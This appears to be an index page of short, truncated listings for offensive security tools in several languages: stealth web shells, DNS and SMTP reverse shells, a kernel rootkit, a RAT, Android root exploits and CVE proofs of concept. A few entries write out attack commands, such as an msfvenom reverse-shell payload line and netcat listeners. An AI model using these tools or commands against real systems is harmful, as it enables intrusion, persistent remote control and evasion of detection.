Jatayu

JATAYU Stealthy Stand Alone PHP Web Shell FEATURES Http Header Based Authentication. 100% Undetectable. Exec Function Changer. Nothing Fancy USAGE...

Reverse_DNS_Shell

DNShell v1.7 Description: A Python Reverse Shell that uses DNS as the C2 channel. Requires: dnslib dnspython pycrypto Gotchyas: don't forget to change your HOST don't forget to change your SECRET key run server first Moar Info: http://lockboxx.blogspot.com/2015/01/python-reverse-dns-shell.html...

PSSRoot

One-Click-Root program based on CVE-2016-5195 or "DirtyCOW"; this should work with the PlayStation Certified devices, but it may come in handy for other old android devices too; Tested on : root@kitploit: Xperia Play Android 2.3; Kernel 2.6.32.9 Xperia S Android 4.1.2; Kernel 3.4.0+1.0.21100-3130...

jexboss

JexBoss - JBoss and others Java Deserialization Vulnerabilities verify and EXploitation Tool JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc. Requirements Python = 2.7.x urllib3 ipaddress Installatio...

CVE-2025-32206

CVE-2025-32206 - WordPress Processing Projects “LABCAT Processing Projects 中存在危险类型文件无限制上传漏洞，攻击者可将 Web Shell 上传至服务器，从而导致完全失陷。” 🧑‍💻 利用说明 此 Python 利用脚本针对使用存在漏洞的 Processing Projects 插件（版本 = 1.0.2）的 WordPress 站点。该插件未能正确处理来自已认证用户的文件上传，允许其上传包含可执行 PHP 代码（Web Shell）的任意 ZIP 文件。 利用脚本： 1. 以管理员身份登录目标 WordPress...

htshells

HTSHELLS - 通过 .htaccess 文件实现的自包含 Web Shell 及其他攻击。 攻击的命名方式为 module.attack.htaccess，并按攻击类型分组存放在目录中。选择你需要的攻击，将其复制到一个新文件并命名为 .htaccess，检查文件以确认在上传前是否需要编辑。除非文件另有说明，Web Shell 通过查询参数 c 执行命令。 要准备攻击，运行 ./prepare.sh file 生成待上传的 .htaccess 文件。示例： root@kitploit: $ ./prepare.sh shell/modphp.shell.htaccess ┬...

hoaxshell

hoaxshell ⚡ The latest version of this project is the HoaxShell standalone listener which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com make sure to choose hoaxshell as the listener. ⚠️ As of 2022-10-18, hoaxshell is detected by AMSI...

hoaxshell

hoaxshell ⚡ La última versión de este proyecto es el listener independiente de HoaxShell, que incluye plantillas de payload actualizadas. También puedes usarlo directamente desde https://revshells.com asegúrate de seleccionar hoaxshell como listener. ⚠️ A partir del 18-10-2022, hoaxshell es...

CVE-2022-22965

Spring Boot CVE-2022-22965 Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5 🚀 Getting Started 1. Download the distribution code from https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip and unzip it. 2. Run docker compose up --build to build and start the...

Umbra

Umbra Umbra 是一个实验性的远程可控 LKM rootkit，适用于 4.x 和 5.x（最高至 5.7）内核。它通过打开网络后门，可以向远程主机发起反弹 shell、远程启动恶意软件等。 该 rootkit 仍在开发中，但以下列出的功能已完全可用。 注意：此 rootkit 是在内核 5.4.0 和 Ubuntu 18.04 上开发并测试的。 功能特性 🌟 后门：在收到恶意 TCP 数据包后，向远程 IP 发起反弹 shell。 🌟 使用 Umbra Injector 远程控制 rootkit： 远程反弹 shell。 远程隐藏/显示 rootkit。 启动 Umbra 模块...

meltdown-aws-scanner

meltdown-aws-scanner 用于验证EC2实例上Meltdown CVE-2017-5754 补丁状态的简单shell脚本 需求 已配置且可正常工作的 aws cli 使用脚本 扫描默认账户和区域中的所有EC2实例 root@kitploit: $ ./checkmeltdown.sh | tee $date '+%Y-%m-%d'.csv 扫描默认账户和区域中的部分EC2实例 root@kitploit: $ ./checkmeltdown.sh --filters "Name=tag:Name,Values=prod-"...

CVE-2026-77422

JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in grep command in builtins/src/main/java/org/jline/builtins/PosixCommands.java accepts a user-controlled regular expression in grep... and, unless line-regexp mode is used, automatically adds ...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 explanation and researching vulnerability for term porject CENG325 for beginners How to exploit? Userpayload generation for reverse shell: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python listening port: nc -lvnp 5555 exploi...

nodejshell

NODEJSHELL - Reverse shell exploit for NodeJs deserialization CVE-2017-5941 The exploit automatically generates the reverse shell payload which is encoded in decimal and then in base64. After that, this payload is sent via an HTTP POST request that serializes the user input and stores it in a...

ABPTTS

A Black Path Toward The Sun TCP tunneling over HTTP for web application servers https://www.blackhat.com/us-16/arsenal.htmla-black-path-toward-the-sun Ben Lincoln, NCC Group, 2016 ABPTTS uses a Python client script and a web application server page/package1 to tunnel TCP traffic over an HTTP/HTTP...

smtpshell

smtpshell A simple Reverse Shell that can communicate through Gmail SMTP or any other SMTP to evade network restrictions Note: root@kitploit: This reverse shell communicates Via Gmail SMTP or u can use any other smtps as well but Gmail SMTP is valid because most of the companies block unknown...

cve-2019-2215

CVE-2019-2215 Pixel 2 和 Pixel 2 XL 的临时 Root（利用 CVE-2019-2215） （基于 Google Project Zero 的 Jann Horn 和 Maddie Stone 的 概念验证） 概述 演示一种仅通过内核内存读/写实现权限提升的攻击，最终获得临时 root shell。 该工具在 Google Pixel 2 / Pixel 2 XL（walleye/taimen）设备上运行，系统镜像为 2019 年 9 月的 QP1A.190711.020，内核版本-BuildID 4.4.177-g83bee1dc48e8 。...

XeytanWxCpp-RAT

警告 本项目仍处于早期开发阶段。 目前，应用程序的界面看起来很糟糕，而且有一个奇怪的 Bug（即下方的第一个 TODO 项，见下文）， 需要尽快修复。 简介 使用 wxWidgets 框架、以 C++ 编写的 RAT 应用程序。 功能特性 获取客户端的系统信息。 进程列表 反弹 Shell 浏览文件系统 TODO 有一个奇怪的 Bug，我不知道如何修复。单步调试时它不会触发，但如果 我直接启动应用程序它就会触发，这是典型的竞态条件（race condition）Bug 特征，但我不知道 如何修复，该 Bug 可以通过...

LinPwn

LinPwn About LinPwn is a interactive tool created to assist you in post exploitation enumeration and privilege escalation. Connection Set your IP and port you want it to connect to in the Connection class. Place the LinPwn binary on the target machine. Run nc -lvp PORT on your machine and then ru...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x Unauthorized RCE Batch Detection Script This vulnerability is quite trivial; out of 200+ random targets, only 5 had it. Now handle it yourself—you already have PHP, how can you not get a reverse shell?...